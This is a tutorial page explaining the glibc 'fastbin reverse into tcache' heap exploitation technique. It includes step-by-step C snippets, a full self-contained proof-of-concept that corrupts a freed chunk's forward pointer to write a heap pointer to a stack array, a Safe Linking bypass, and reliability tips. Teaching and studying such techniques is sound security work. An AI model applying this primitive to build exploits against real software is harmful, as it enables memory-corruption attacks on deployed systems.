Skip to main content

Overview

Fastbin Reverse Into Tcache is a powerful technique that exploits the automatic transfer of fastbin chunks into the tcache. When the tcache is empty and an allocation occurs, glibc moves up to 7 chunks from the fastbin into the tcache in reverse order. By corrupting a fastbin chunk’s forward pointer, we can inject an arbitrary address into this transfer process, causing malloc to write a large heap pointer value to an attacker-controlled address.
Glibc Version Compatibility: glibc >= 2.26 (when tcache was introduced)Requires heap address leak on glibc >= 2.32 due to Safe Linking.

What This Achieves

  • Arbitrary write: Write a large heap pointer value to any address
  • Stack corruption: Overwrite stack variables with heap addresses
  • GOT overwrites: Modify function pointers (with careful size alignment)
  • Metadata corruption: Corrupt heap management structures
  • Similar to unsorted bin attack: But works with small allocations (≤ 0x78 bytes)
This technique is intended to have a similar effect to the classic unsorted_bin_attack, except it works with small allocation sizes and is still viable in modern glibc versions.

Prerequisites

  • Tcache support: glibc >= 2.26
  • Multiple free calls: At least 8 frees (7 for tcache, 1+ for fastbin)
  • Write-after-free: Ability to corrupt freed chunk metadata
  • Heap leak (glibc >= 2.32): Required for Safe Linking bypass
  • Target address knowledge: Know where you want to write
  • Controlled data: Optional but helpful for terminating list traversal

The Technique

Key Insight

When malloc needs to refill an empty tcache, it takes up to 7 chunks from the fastbin and inserts them in reverse order. This reversal process follows the forward pointers of each chunk and writes them as next pointers in the tcache.If we corrupt a forward pointer to point to a fake chunk at our target address, malloc will:
  1. Follow our corrupted pointer
  2. Write the “next” pointer (heap address) to our target
  3. Continue traversing the list
This gives us an arbitrary write of a heap pointer!

Step-by-Step Walkthrough

1

Fill tcache and fastbin

Allocate many chunks, then free 7 to fill tcache and more to populate fastbin.
const size_t allocsize = 0x40;
char* ptrs[14];

// Allocate 14 chunks
for (size_t i = 0; i < 14; i++) {
    ptrs[i] = malloc(allocsize);
}

// Fill tcache (7 chunks)
for (size_t i = 0; i < 7; i++) {
    free(ptrs[i]);
}

// Free victim chunk (goes to fastbin)
char* victim = ptrs[7];
free(victim);

// Fill fastbin with 6 more chunks
for (size_t i = 8; i < 14; i++) {
    free(ptrs[i]);
}
Now: tcache is full (7 chunks), fastbin has 7 chunks with victim in the list.
2

Prepare target address

Set up the memory location you want to write to.
size_t stack_var[6];
memset(stack_var, 0xcd, sizeof(stack_var));
Initially, stack_var contains garbage values that will be overwritten.
3

Corrupt fastbin forward pointer

Use a vulnerability (buffer overflow, UAF) to overwrite victim’s forward pointer.
// VULNERABILITY: corrupt the forward pointer
unsigned long ptr = (unsigned long)&stack_var[0];
unsigned long addr = (unsigned long)victim;

// Safe Linking encoding (glibc >= 2.32)
*(size_t**)victim = (size_t*)((addr >> 12) ^ ptr);
This requires a heap leak to know addr (victim’s address) for Safe Linking.
4

Empty the tcache

Allocate 7 times to completely drain the tcache.
for (size_t i = 0; i < 7; i++) {
    ptrs[i] = malloc(allocsize);
}
The tcache is now empty, setting up for the critical transfer.
5

Trigger fastbin-to-tcache transfer

The next allocation triggers the reverse transfer from fastbin to tcache.
malloc(allocsize);
What happens:
  1. Tcache is empty, so malloc looks at fastbin
  2. Finds chunks in fastbin
  3. Takes up to 7 chunks in reverse order to refill tcache
  4. While traversing, follows our corrupted pointer
  5. Writes heap pointer value to stack_var[0]
After this, stack_var contains heap pointer values!
6

Verify the write

Check that the arbitrary write succeeded.
for (size_t i = 0; i < 6; i++) {
    printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
}
// stack_var now contains heap pointers!
7

Optional: Allocate fake chunk

The fake chunk address is now in tcache, so you can allocate it.
char *q = malloc(allocsize);
assert(q == (char *)&stack_var[2]);
This gives you a direct pointer to the stack!

Full Source Code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

const size_t allocsize = 0x40;

int main(){
    setbuf(stdout, NULL);

    printf("\n"
           "This attack is intended to have a similar effect to the unsorted_bin_attack,\n"
           "except it works with a small allocation size (allocsize <= 0x78).\n"
           "The goal is to set things up so that a call to malloc(allocsize) will write\n"
           "a large unsigned value to the stack.\n\n");
    printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n"
           "An heap address leak is needed to perform this attack.\n"
           "The same patch also ensures the chunk returned by tcache is properly aligned.\n\n");

    // Allocate 14 times so that we can free later.
    char* ptrs[14];
    size_t i;
    for (i = 0; i < 14; i++) {
        ptrs[i] = malloc(allocsize);
    }
    
    printf("First we need to free(allocsize) at least 7 times to fill the tcache.\n"
           "(More than 7 times works fine too.)\n\n");
    
    // Fill the tcache.
    for (i = 0; i < 7; i++) free(ptrs[i]);
    
    char* victim = ptrs[7];
    printf("The next pointer that we free is the chunk that we're going to corrupt: %p\n"
           "It doesn't matter if we corrupt it now or later. Because the tcache is\n"
           "already full, it will go in the fastbin.\n\n", victim);
    free(victim);
    
    printf("Next we need to free between 1 and 6 more pointers. These will also go\n"
           "in the fastbin. If we don't control the data on the stack,\n"
           "then we need to free exactly 6 more pointers, otherwise the attack will\n"
           "cause a segmentation fault when traversing the linked list.\n"
           "But if we control at least 8-byte on the stack, we know where the stack is,\n"
           "and we want to control more data on the stack, a single free is sufficient\n"
           "by forging a mangled NULL on the stack to terminate list traversal.\n\n");
    
    // Fill the fastbin.
    for (i = 8; i < 14; i++) free(ptrs[i]);
    
    // Create an array on the stack and initialize it with garbage.
    size_t stack_var[6];
    memset(stack_var, 0xcd, sizeof(stack_var));
    
    printf("The stack address that we intend to target: %p\n"
           "It's current value is %p\n", &stack_var[2], (char*)stack_var[2]);
    
    printf("Now we use a vulnerability such as a buffer overflow or a use-after-free\n"
            "to overwrite the next pointer at address %p\n\n", victim);
    
    //------------VULNERABILITY-----------
    
    // Overwrite linked list pointer in victim.
    // The following operation assumes the address of victim is known, thus requiring
    // a heap leak.
    *(size_t**)victim = (size_t*)((long)&stack_var[0] ^ ((long)victim >> 12));
    
    //------------------------------------
    
    printf("The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n");
    
    // Empty tcache.
    for (i = 0; i < 7; i++) ptrs[i] = malloc(allocsize);
    
    printf("Let's just print the contents of our array on the stack now,\n"
            "to show that it hasn't been modified yet.\n\n");
    
    for (i = 0; i < 6; i++) printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
    
    printf("\n"
           "The next allocation triggers the stack to be overwritten. The tcache\n"
           "is empty, but the fastbin isn't, so the next allocation comes from the\n"
           "fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\n"
           "Those 7 chunks are copied in reverse order into the tcache, so the stack\n"
           "address that we are targeting ends up being the first chunk in the tcache.\n"
           "It contains a pointer to the next chunk in the list, which is why a heap\n"
           "pointer is written to the stack.\n"
           "\n"
           "Earlier we said that the attack will also work if we free fewer than 6\n"
           "extra pointers to the fastbin, but only if the value on the stack is zero.\n"
           "That's because the value on the stack is treated as a next pointer in the\n"
           "linked list and it will trigger a crash if it isn't a valid pointer or null.\n"
           "\n"
           "The contents of our array on the stack now look like this:\n\n");
    
    malloc(allocsize);
    
    for (i = 0; i < 6; i++) printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
    
    char *q = malloc(allocsize);
    printf("\n"
            "Finally, if we malloc one more time then we get the stack address back: %p\n", q);
    
    assert(q == (char *)&stack_var[2]);
    
    return 0;
}

Key Concepts

The tcache refill process from fastbin works like this:
// Simplified pseudocode
fastbin_chunk = fastbin_head;
while (fastbin_chunk && tcache_count < 7) {
    next = fastbin_chunk->fd;  // Follow forward pointer
    
    // Insert at HEAD of tcache (LIFO)
    fastbin_chunk->next = tcache_head;
    tcache_head = fastbin_chunk;
    
    fastbin_chunk = next;
    tcache_count++;
}
Because tcache insertion is LIFO (at the head), chunks are reversed. When following forward pointers during this process, the allocator writes these pointers into the tcache structure - which includes writing to our target address!
Unsorted Bin Attack (patched in glibc 2.29):
  • Worked with large chunks (>= 0x80 bytes)
  • Wrote a heap/libc address to target
  • Required unsorted bin manipulation
  • Patched with stricter checks
Fastbin Reverse Into Tcache:
  • Works with small chunks (≤ 0x78 bytes)
  • Writes a heap address to target
  • Leverages tcache refill mechanism
  • Still works in modern glibc (with heap leak)
Both achieve arbitrary write of a large pointer value.
On glibc >= 2.32, forward pointers are encoded:
// Encoding
stored_fd = (fd >> 12) ^ address_of_chunk

// Our corruption
*(size_t**)victim = (size_t*)((victim_addr >> 12) ^ target_addr);
This requires:
  • Heap leak: To know victim’s address
  • Target address: Where we want to write
The XOR reverses during traversal, successfully injecting our target.Reference: Safe Linking patch
You need to free between 1 and 6 additional chunks after the victim:
  • Exactly 6: If you don’t control target memory (safest)
  • Fewer than 6: If you can forge a NULL pointer at the target to terminate traversal
  • Why?: The traversal must eventually terminate with a valid or NULL pointer
In the example, we free 6 additional chunks (14 total - 7 tcache - 1 victim = 6).

Common Use Cases

  1. Overwrite stack variables: Write heap pointers to stack for later exploitation
  2. Corrupt heap metadata: Target tcache_perthread_struct or other allocator data
  3. Bypass ASLR: Leak addresses by writing heap pointers to readable locations
  4. Chain with other exploits: Use the arbitrary write as a first stage

Defense Mechanisms

Mitigations:
  • Safe Linking (>= 2.32): Requires heap leak, but doesn’t prevent the technique
  • Tcache size checks: Basic alignment and size validation
  • Double-free detection: In tcache, but not in fastbin
  • Alignment checks: Target must be properly aligned
Why it still works:
  • The refill process is fundamental to tcache design
  • Safe Linking only obfuscates, doesn’t prevent with a leak
  • No validation of target addresses during traversal

Exploitation Notes

Tips for reliable exploitation:
  1. Heap leak is mandatory on glibc >= 2.32
  2. Target alignment: Ensure target address is 16-byte aligned
  3. List termination: Free enough chunks or forge NULL to terminate
  4. Allocation size: Works best with sizes 0x20-0x78 (fastbin range)
  5. Tcache management: Track how many chunks are in tcache vs fastbin

Variations

If you control data at the target:
// Only free victim + 1 chunk to fastbin
free(victim);
free(ptrs[8]);

// Forge mangled NULL at target to terminate
stack_var[0] = 0;  // Or mangled NULL for Safe Linking

// Corrupt victim->fd to point to stack_var
*(size_t**)victim = (size_t*)((victim_addr >> 12) ^ (size_t)stack_var);

// Trigger refill - will write and terminate cleanly
malloc(allocsize);
This reduces the number of required frees.

Practice & Resources

Ret2 Wargames

Debug this technique interactively in your browser using GDB

References

Build docs developers (and LLMs) love